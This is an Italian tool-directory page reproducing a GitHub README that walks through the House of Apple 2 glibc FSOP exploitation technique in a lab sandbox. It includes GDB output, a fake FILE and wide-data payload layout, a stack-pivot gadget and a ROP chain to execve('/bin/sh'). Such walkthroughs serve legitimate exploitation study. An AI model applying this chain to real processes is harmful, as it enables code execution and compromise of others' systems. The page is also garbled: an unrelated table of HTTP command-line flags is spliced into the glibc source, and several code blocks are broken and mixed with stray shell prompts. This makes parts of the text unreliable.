Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
house_of_apple_2 — Walkthrough interattivo con GDB della tecnica FSOP House of Apple 2 su glibc 2.43, con una sandbox riproducibile che copre il bypass della vtable, lo stack pivoting e il ROP. | Kitploit
Strumenti/GitHubGitHub/jazho76/house_of_apple_2
Memory ForensicsExploitReverse EngineeringShellcodeDebuggerPaper e RicercaApprendimento e FormazioneSviluppo PayloadBinary ExploitationLab e Pratica
GitHubjazho76/house_of_apple_2
31101 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

house_of_apple_2

Walkthrough interattivo con GDB della tecnica FSOP House of Apple 2 su glibc 2.43, con una sandbox riproducibile che copre il bypass della vtable, lo stack pivoting e il ROP.

Vedi Repository

Esplorare House of Apple 2 su glibc moderne

Questo repository è un playground autonomo ispirato al modulo File Struct Exploitation di pwn.college. Non introduce una nuova variante di House of Apple 2, risponde semplicemente alla mia curiosità su come la tecnica regga sulle versioni recenti di glibc e se rimanga un percorso di exploitation praticabile. Il documento fornisce una walkthrough interattiva con GDB che i lettori possono seguire insieme alla sandbox per sviluppare una comprensione più intuitiva della primitiva. Tutti gli esperimenti utilizzano glibc 2.43, così come pacchettizzata da Ubuntu 26.04 e Fedora 44 al momento della stesura.

File Stream Oriented Programming (FSOP). Si tratta di manipolare le strutture file stream di glibc per dirottare il flusso di controllo. Un modo per farlo è corrompere il meccanismo di dispatch della vtable di _IO_FILE_plus. Le glibc moderne validano questa vtable, quindi l'approccio ovvio di sostituirla con un indirizzo arbitrario non funziona.

House of Apple 2, introdotta originariamente da Roderick, aggira questa restrizione utilizzando una vtable _IO_FILE_plus valida per raggiungere il meccanismo degli stream di caratteri wide, dove una vtable secondaria viene invocata direttamente senza validazione di range. Questo fornisce una primitiva di arbitrary call che possiamo escalare in uno stack pivot e una ROP chain.

Prerequisiti di exploitation

Questa esplorazione presuppone che possiamo sovrascrivere una struttura FILE e che abbiamo sia un heap leak che un libc leak. Il binario target fornisce già questo.

Ambiente sandbox

La sandbox esegue Ubuntu 26.04 LTS, dandoci un ambiente moderno per esplorare la tecnica.

L'immagine include GDB, pwndbg, pwntools, ropper e tmux. Contiene anche un binario target con un menu interattivo per invocare operazioni su file stream come fopen, fread, fwrite e fclose. Questo ci offre un modo comodo per manipolare gli stream durante il debugging e il test delle idee.

Compila ed esegui la sandbox con:``` ./build.sh ./run.sh

root@kitploit:~
## Esplorazione

Iniziamo ispezionando le strutture `_IO_FILE` e `_IO_FILE_plus`:```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
    int _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;
    char *_IO_write_ptr;
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;
    int _fileno;
    int _flags2 : 24;
    char _short_backupbuf[1];
    __off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
    __off64_t _offset;
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    struct _IO_FILE **_prevchain;
    int _mode;
    int _unused3;
    __uint64_t _total_written;
    char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
    FILE file;
    const struct _IO_jump_t *vtable;
}

In termini pratici, _IO_FILE_plus è un _IO_FILE con un puntatore alla vtable. Questo appare immediatamente interessante: se riusciamo a controllare questo puntatore, potremmo essere in grado di reindirizzare una chiamata indiretta e dirottare il flusso di controllo.

Ispezione della vtable del flusso di file

Per ispezionare la vtable, esaminiamo un puntatore FILE restituito da fopen.```c pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010 $4 = { file = { _flags = 0xfbad2480, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>, _fileno = 0x3, _flags2 = 0x0, _short_backupbuf = "", _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x37ecf0f0, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x37ecf100, _freeres_list = 0x0, _freeres_buf = 0x0, _prevchain = 0x7f58a7f4b480 <_IO_list_all>, _mode = 0x0, _unused3 = 0x0, _total_written = 0x0, _unused2 = "\000\000\000\000\000\000\000" }, vtable = 0x7f58a7f49030 <_IO_file_jumps> }

root@kitploit:~
Il puntatore punta alla tabella `_IO_file_jumps`.

![3](https://assets.kitploit.com/production/public/readmes/56272/9fe7069dbb47c87d81c704a23ff483a6c630d5506150361db4aefee1516d0423/054e7475018b9adcfdb102b7e142ea8ad09116b38787416fdc30f8cb2f209bfa-display-v1.webp)

Questo è un insieme di 21 puntatori a funzione. Le operazioni sui flussi di file vengono dispatchate attraverso voci diverse a seconda del percorso di esecuzione.

### Seguire il percorso di `fwrite`

Per questa esplorazione mi concentrerò sul percorso di `fwrite`. Dopo aver impostato breakpoint su ciascuna funzione e aver chiamato `fwrite`, il primo breakpoint che incontriamo è `_IO_file_xsputn`.

![4](https://assets.kitploit.com/production/public/readmes/56272/f77a8ff4f3d548b46916a97897b811b5cfb650de4843184b6574bdac51e1c2d0/e7de50a63631e0e1b18e8aa0b2d0852b62457428b4be3936ea3ea6a776531329-display-v1.webp)

La chiamata avviene a `fwrite+216`. Questo corrisponde al [sorgente glibc](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44): `_IO_sputn` è una macro che esegue il dispatch attraverso la vtable, risolvendosi in `_IO_file_xsputn` per questo stream.```asm
   0x00007fd5181d362a <+202>:	mov    rdx,rcx
   0x00007fd5181d362d <+205>:	mov    rdi,rbx
   0x00007fd5181d3630 <+208>:	mov    QWORD PTR [rbp-0x30],r8
   0x00007fd5181d3634 <+212>:	mov    QWORD PTR [rbp-0x28],rcx
   0x00007fd5181d3638 <+216>:	call   QWORD PTR [rax+0x38]

Tentativo di sostituire la vtable

Come primo tentativo, sovrascriviamo il puntatore alla vtable con desired_func - 0x38 e impostiamo un breakpoint a fwrite+216.```c pwndbg> p &win $3 = (<text variable, no debug info> *) 0x4019e1 pwndbg> p/x &win - 0x38 $4 = 0x4019a9 pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9 pwndbg> b *fwrite+216 Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

root@kitploit:~
![5](https://assets.kitploit.com/production/public/readmes/56272/68d9bb8c66bf4088af2741eebea1ecb9b56d047f77983d068d26c9566a97e533/1c9d22964dbe7735df03440da27a86e739989f7cf62bd6e126cecf1083b2cf4b-display-v1.webp)

L'esecuzione si interrompe prima di raggiungere il breakpoint. L'errore suggerisce che glibc convalida il puntatore alla vtable prima di eseguire la chiamata indiretta. Esaminiamo il backtrace e vediamo dove accade.

`fwrite` raggiunge `_IO_vtable_check` che rifiuta il puntatore alla vtable contraffatto.

![6](https://assets.kitploit.com/production/public/readmes/56272/5d88a98e9a1a20ab8c510aad7374f24884a05f363bd46f94d0d05cad513c7c0a/6974f1daec533bb453c59cff614c11f59c29bb1f85a0d23235e05c22433c0b48-display-v1.webp)

L'implementazione contiene un meccanismo per accettare vtable esterne, ma non è sotto il nostro controllo. Il codice rilevante è disponibile in [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504).

### Comprendere la validazione della vtable

Nel momento in cui viene chiamata `_IO_vtable_check` è già troppo tardi, la validazione della vtable è fallita. Il frame `IO_validate_vtable` precedente nel backtrace è la parte interessante, quindi esaminiamo quello invece.```c
pwndbg> disass IO_validate_vtable
❌️ No symbol "IO_validate_vtable" in current context.

GDB non riesce a risolvere IO_validate_vtable come simbolo. Guardando il sorgente, possiamo vedere che è inline in fwrite.```asm 0x00007fd5181d35f6 <+150>: lea rdi,[rip+0x1838e3] # 0x7fd518356ee0 <__io_vtables> 0x00007fd5181d35fd <+157>: mov rax,QWORD PTR [rbx+0xd8] 0x00007fd5181d3604 <+164>: mov r14,QWORD PTR [rbx+0xc8] 0x00007fd5181d360b <+171>: mov r15,QWORD PTR [rbx+0x28] 0x00007fd5181d360f <+175>: mov r12,QWORD PTR [rbx+0x20] 0x00007fd5181d3613 <+179>: mov rdx,rax 0x00007fd5181d3616 <+182>: sub rdx,rdi 0x00007fd5181d3619 <+185>: cmp rdx,0x92f 0x00007fd5181d3620 <+192>: ja 0x7fd5181d3780 <__GI__IO_fwrite+544>

root@kitploit:~
Un puntatore vtable viene accettato solo quando rientra in `[__io_vtables, __io_vtables + IO_VTABLES_LEN)`. Quindi non possiamo semplicemente puntarlo dove vogliamo. Tuttavia, questa è una regione piuttosto ampia che contiene diverse jump table, il che ci dà qualcosa da esplorare.

L'intervallo valido inizia come segue:

![7](https://assets.kitploit.com/production/public/readmes/56272/a44872f4cc95b7607ed0abe8cfe35f7a6eae6be8bbb5a5d017e693b9c67bf87f/4a82dee7de96ab2a558a6a37688145328eb42a0e2c4dbbe74267a08049d1832c-display-v1.webp)

## House of Apple 2

Ora comprendiamo il meccanismo di base e il suo vincolo principale: la vtable di `_IO_FILE_plus` deve puntare da qualche parte all'interno della regione valida delle vtable di glibc. Questo blocca l'approccio ovvio ma non chiude completamente la porta.

House of Apple 2 aggira il problema raggiungendo una seconda vtable attraverso il meccanismo degli stream a caratteri estesi. Questa seconda vtable non viene validata allo stesso modo. Seguiamo quel percorso in GDB e vediamo come i pezzi si collegano.

### Il meccanismo degli stream a caratteri estesi

Tornando a `_IO_FILE`, c'è un campo `_wide_data` che punta a una struttura `_IO_wide_data`. Questa struttura ha una vtable propria.```c
pwndbg> ptype struct _IO_wide_data
type = struct _IO_wide_data {
    wchar_t *_IO_read_ptr;
    wchar_t *_IO_read_end;
    wchar_t *_IO_read_base;
    wchar_t *_IO_write_base;
    wchar_t *_IO_write_ptr;
    wchar_t *_IO_write_end;
    wchar_t *_IO_buf_base;
    wchar_t *_IO_buf_end;
    wchar_t *_IO_save_base;
    wchar_t *_IO_backup_base;
    wchar_t *_IO_save_end;
    __mbstate_t _IO_state;
    __mbstate_t _IO_last_state;
    struct _IO_codecvt _codecvt;
    wchar_t _shortbuf[1];
    const struct _IO_jump_t *_wide_vtable;
}

La sua struttura appare piuttosto simile a _IO_FILE. Fa parte del meccanismo di glibc per la gestione dei flussi di caratteri wide.

Il percorso che vogliamo seguire passa attraverso _IO_wfile_overflow, che può eventualmente chiamare _IO_wdoallocbuf.```c wint_t _IO_wfile_overflow (FILE f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) / SET ERROR / { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } / If currently reading or no buffer allocated. / if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL) { / Allocate a buffer if needed. */ if (f->_wide_data->_IO_write_base == NULL) { _IO_wdoallocbuf (f); // <- this is it _IO_free_wbackup_area (f);

root@kitploit:~
  if (f->_IO_write_base == NULL)
    {
      _IO_doallocbuf (f);
      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
    }
  _IO_wsetg (f, f->_wide_data->_IO_buf_base,
	     f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
}
  else
{
  ...
root@kitploit:~
| `--no-color` | Disabilita l'output colorato |
| `--verbose` | Abilita la registrazione dettagliata |
| `--quiet` | Modalità silenziosa, sopprime l'output non essenziale |
| `--config <file>` | Specifica il file di configurazione da utilizzare |
| `--timeout <seconds>` | Imposta il timeout per le operazioni |
| `--retry <count>` | Numero di tentativi per le operazioni fallite |
| `--proxy <url>` | Utilizza il proxy specificato per le richieste |
| `--user-agent <string>` | Imposta una stringa User-Agent personalizzata |
| `--header <header>` | Aggiunge un header personalizzato alle richieste |
| `--cookie <cookie>` | Invia il cookie specificato con le richieste |
| `--data <data>` | Invia i dati specificati nel corpo della richiesta |
| `--method <method>` | Specifica il metodo HTTP da utilizzare |
| `--output <file>` | Scrivi l'output nel file specificato |
| `--format <format>` | Specifica il formato di output (json, xml, csv) |
| `--silent` | Esegui in modalità silenziosa, senza output |
| `--debug` | Abilita l'output di debug |
| `--version` | Mostra le informazioni sulla versione ed esci |
| `--help` | Mostra il messaggio di aiuto ed esci |```c
void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
		     fp->_wide_data->_shortbuf + 1, 0);
}

_IO_WDOALLOCATE è un'altra macro di dispatch, questa volta operante attraverso la wide vtable. La chiamata indiretta diventa chiara nel disassemblaggio:

8

Ecco la parte interessante. A _IO_wdoallocbuf+44 glibc carica il puntatore _wide_vtable da _wide_data. A _IO_wdoallocbuf+55 chiama il puntatore a funzione a _wide_vtable + 0x68. Questa volta non c'è validazione dell'intervallo.

Connettere le due vtables

Ora i pezzi iniziano a connettersi. _IO_wfile_overflow appartiene a _IO_wfile_jumps che esiste all'interno dell'intervallo valido accettato dal primo controllo della vtable. Da lì, l'esecuzione può raggiungere un'altra chiamata indiretta attraverso la _wide_vtable non validata.

9```c pwndbg> p &__io_vtables < &_IO_wfile_jumps < (void *)&__io_vtables+0x92f $5 = 0x1

root@kitploit:~
L'idea generale ora è:

1. Impostare la vtable di `_IO_FILE_plus` in modo che lo slot rilevante si risolva in `_IO_wfile_overflow`.
2. Far puntare `_wide_data` a una struttura `_IO_wide_data` contraffatta la cui `_wide_vtable` sia `desired_function - 0x68`.

Prima di tentare l'esecuzione successiva, dobbiamo soddisfare alcune condizioni per raggiungere `_IO_wdoallocbuf`.

In `_IO_wfile_overflow`:

- `_flags` non deve contenere `_IO_NO_WRITES` (`0x0008`)
- `_wide_data->_IO_write_base` deve essere `NULL`

In `_IO_wdoallocbuf`:

- `fp->_wide_data->_IO_buf_base` deve essere `NULL`
- `_flags` non deve contenere `_IO_UNBUFFERED` (`0x0002`)

C'è un ulteriore dettaglio. `_IO_FILE` contiene un campo `_lock` che glibc dereferenzia durante l'acquisizione e il rilascio del lock dello stream. Dobbiamo farlo puntare a una regione scrivibile di 0x10 byte inizializzata a zero, altrimenti l'operazione sullo stream andrà in crash prima di raggiungere la nostra chiamata.

## Hijack del flusso di controllo

Tutto è pronto, proviamo di nuovo. Questa volta il controllo di intervallo esterno passa, e la prima chiamata indiretta viene dispatchata a `_IO_wfile_overflow`.

![10](https://assets.kitploit.com/production/public/readmes/56272/ac32a8252e44fb068beb5085065aee6b148ebf163a2179bab9ef783d5477b3fc/5b6e27654b01b75a42bae6a0f34afc9d2c67ec404e6197bf71e342b7e0d5142b-display-v1.webp)

La struttura contraffatta soddisfa anche le condizioni in `_IO_wfile_overflow`. L'esecuzione prosegue in `_IO_wdoallocbuf`. Infine, i controlli in `_IO_wdoallocbuf` passano, e la chiamata indiretta a `_IO_wdoallocbuf+55` atterra nella nostra funzione `win`.

Già che ci siamo, vale la pena dare un'occhiata allo stato dei registri immediatamente prima della chiamata indiretta finale.

![13](https://assets.kitploit.com/production/public/readmes/56272/a6d258852d60c0eb618f4f0cfbad41fecb059a29911fe27108f9e60815de1a4c/cd546ef8394716136bb68531344e1dfa44102310e56df39bce87221555780d1f-display-v1.webp)

Sia `RDI` che `RDX` puntano all'inizio della struttura `FILE` controllata. Non controlliamo direttamente il primo e il terzo registro argomento, ma controlliamo la memoria a cui puntano. Ottimo!

## Costruzione della primitiva

La primitiva è implementata in [`./exp/house_of_apple2.py`](https://github.com/jazho76/house_of_apple_2/blob/main/exp/house_of_apple2.py). L'approccio diretto sarebbe quello di posizionare un `_IO_FILE_plus` completo, un `_IO_wide_data` completo e una vtable wide fittizia separata uno dopo l'altro. Funzionerebbe, ma richiederebbe anche un buffer piuttosto grande.

Possiamo rendere il payload più piccolo sovrapponendoli.

Il `_IO_wide_data` fittizio inizia all'offset `0x08`, all'interno del `_IO_FILE_plus` fittizio. Questo funziona perché la maggior parte dei campi coinvolti nella sovrapposizione può rimanere a zero. Comodamente, `_wide_data->_IO_write_base` e `_wide_data->_IO_buf_base` si sovrappongono a `_IO_write_base` e `_IO_buf_base` nella struttura `FILE`, ed entrambe le coppie devono essere `NULL`.

Le parti importanti del layout sono:

| Offset del payload | Interpretazione `_IO_FILE_plus` | Interpretazione `_IO_wide_data`    | Valore                                            |
| -------------: | ------------------------------ | --------------------------------- | ------------------------------------------------ |
|         `0x00` | `_flags`                       | -                                 | Non deve impostare `_IO_NO_WRITES` o `_IO_UNBUFFERED` |
|         `0x08` | `_IO_read_ptr`                 | Inizio del `_IO_wide_data` fittizio     | Zero                                             |
|         `0x20` | `_IO_write_base`               | `_IO_write_base`                  | `NULL`                                           |
|         `0x38` | `_IO_buf_base`                 | `_IO_buf_base`                    | `NULL`                                           |
|         `0x78` | `_old_offset`                  | Inizio della vtable wide fittizia     | Dati della vtable sovrapposti                           |
|         `0x88` | `_lock`                        | -                                 | Puntatore a un valore zero in memoria scrivibile       |
|         `0xa0` | `_wide_data`                   | -                                 | `base + 0x08`                                    |
|         `0xd8` | vtable di `_IO_FILE_plus`         | -                                 | Posizione che dispatcha a `_IO_wfile_overflow` |
|         `0xe0` | -                              | Voce della vtable wide fittizia a `+0x68` | Indirizzo della funzione arbitraria                |
|         `0xe8` | -                              | `_wide_vtable`                    | `base + 0x78`                                    |

Le ultime due voci sono la chiave della chiamata arbitraria. `_wide_vtable` punta di nuovo all'interno del payload all'offset `0x78`. Quando `_IO_wdoallocbuf` dispatcha attraverso `_wide_vtable + 0x68`, legge il puntatore a funzione memorizzato all'offset `0xe0`:```text
wide_vtable       = base + 0x78
wide_vtable+0x68  = base + 0xe0

Qui è dove inseriamo l'indirizzo della funzione che vogliamo chiamare.

La vtable esterna dipende dall'operazione usata per attivare la primitiva. Per fwrite, il dispatch avviene attraverso lo slot a +0x38, quindi il puntatore viene regolato finché quello slot non risolve in _IO_wfile_overflow. L'implementazione supporta anche fread e fclose applicando i corrispondenti offset di dispatch.

Con questa disposizione, un singolo buffer compatto contiene la struttura FILE falsa, il _IO_wide_data sovrapposto, la vtable wide falsa e il puntatore a funzione finale.

Stack pivoting

A questo punto abbiamo una primitiva di chiamata arbitraria ma il nostro controllo sui registri è limitato. Il passo successivo è pivotare lo stack in memoria controllata e avviare una catena ROP.

A __push___start_context+63 c'è un utile gadget di stack pivot mov rsp, rdx; ret.```asm pwndbg> disass __push___start_context Dump of assembler code for function __push___start_context: 0x00007f46729440d0 <+0>: endbr64 0x00007f46729440d4 <+4>: rdsspq rcx 0x00007f46729440d9 <+9>: mov rdx,rsp 0x00007f46729440dc <+12>: mov rsi,QWORD PTR [rdi+0xa0] 0x00007f46729440e3 <+19>: lea rsp,[rsi+0x8] 0x00007f46729440e7 <+23>: mov rsi,QWORD PTR [rdi+0x3b8] 0x00007f46729440ee <+30>: mov rax,QWORD PTR [rdi+0x3b0] 0x00007f46729440f5 <+37>: rstorssp QWORD PTR [rax+rsi*1-0x8] 0x00007f46729440fb <+43>: saveprevssp 0x00007f46729440ff <+47>: call 0x7f4672944106 <__push___start_context+54> 0x00007f4672944104 <+52>: jmp 0x7f4672944120 <__start_context> 0x00007f4672944106 <+54>: rstorssp QWORD PTR [rcx-0x8] 0x00007f467294410b <+59>: saveprevssp 0x00007f467294410f <+63>: mov rsp,rdx 0x00007f4672944112 <+66>: ret End of assembler dump.

root@kitploit:~
Sappiamo già che `RDX` punta all'inizio della nostra struttura `FILE` controllata al momento della chiamata arbitraria. Se chiamiamo questo gadget, `RSP` si sposta direttamente nella nostra struttura falsa e l'esecuzione continua dai valori memorizzati lì. Questo dovrebbe darci l'inizio di una catena ROP.

## ROP

Un problema: la catena ROP si sovrappone in memoria con la struttura `FILE` falsa, quindi i vincoli sui campi di `_IO_wdoallocbuf` valgono ancora. Il primo qword si sovrappone a `_flags`, il che significa che il suo valore non deve impostare `_IO_NO_WRITES` (`0x8`) o `_IO_UNBUFFERED` (`0x2`). Il nostro primo gadget deve quindi avere un indirizzo con quei bit azzerati nel suo byte meno significativo.

Il gadget `ret` a `_nl_archive_subfreeres+96` dovrebbe fare al caso nostro. Non è un'istruzione `ret` effettivamente presente nel codice originale a quel confine, ma è un gadget valido a metà istruzione a quell'indirizzo spostato. Il suo byte meno significativo è `0x00`, quindi posizionare l'indirizzo in `_flags` non imposta `_IO_NO_WRITES` o `_IO_UNBUFFERED`.```asm
pwndbg> tele 0x7f4672919d00 1
00:0000│     0x7f4672919d00 (_nl_archive_subfreeres+96) ◂— ret

Abbiamo ancora due buchi nella catena perché _IO_write_base e _IO_buf_base devono rimanere NULL. Possiamo comunque rendere utili quegli slot consumandoli come valori zero per i gadget pop precedenti.

Infine, non possiamo sovrascrivere _lock, situato all'offset 0x88. Questo ci lascia con 17 qword per la catena ROP inline, che è più che sufficiente per ottenere il controllo completo del processo.

Il layout ROP in ./exp/ace.py è:``` 0x00: _nl_archive_subfreeres+96 # pointer to ret instruction # with least significant byte as 0x00 0x08: pop rdi gadget 0x10: "/bin/sh" string in libc 0x18: pop rsi gadget 0x20: 0x0000000000000000 # _IO_write_base as NULL 0x50: address to execve # call execve("/bin/sh", NULL)

root@kitploit:~
![14](https://assets.kitploit.com/production/public/readmes/56272/4a03fae3012721e96b1db4803bfa74b6d1279e27e5952a60228437ea8fc1ccf4/caabf1480a7ae14355e2e465334ae1f0c572069d804356e9952f20f6513f85a3-display-v1.webp)

Abbiamo ora ottenuto l'esecuzione arbitraria di codice.

## Ulteriori letture

- [House of Apple: a new glibc IO attack method (2)](https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/), la pubblicazione originale di House of Apple 2 di Roderick.
- [`fsop-finder`](https://github.com/xf1les/fsop-finder), che ha identificato in modo indipendente il percorso `_IO_wdoallocbuf` esplorando i moderni percorsi FSOP.
- [Angry-FSROP](https://blog.kylebot.net/2022/10/22/angry-FSROP/), per un approccio assistito da strumenti alla ricerca di percorsi di control-flow.
- [Deep Dive into FSOP](https://niftic.ca/posts/fsop/), per una copertura più ampia degli interni di FILE, delle tecniche note e di altri percorsi interessanti.

## Conclusione

House of Apple 2 mostra come una vtable glibc valida possa raggiungere la macchina per caratteri wide e fare dispatch attraverso una vtable secondaria non validata. Lo stesso percorso rimane riproducibile sulla build glibc 2.43 utilizzata dalla sandbox. Sebbene layout, offset e gadget possano cambiare tra le build, l'idea di control-flow sottostante rimane comunque applicabile.
Scarica lo strumento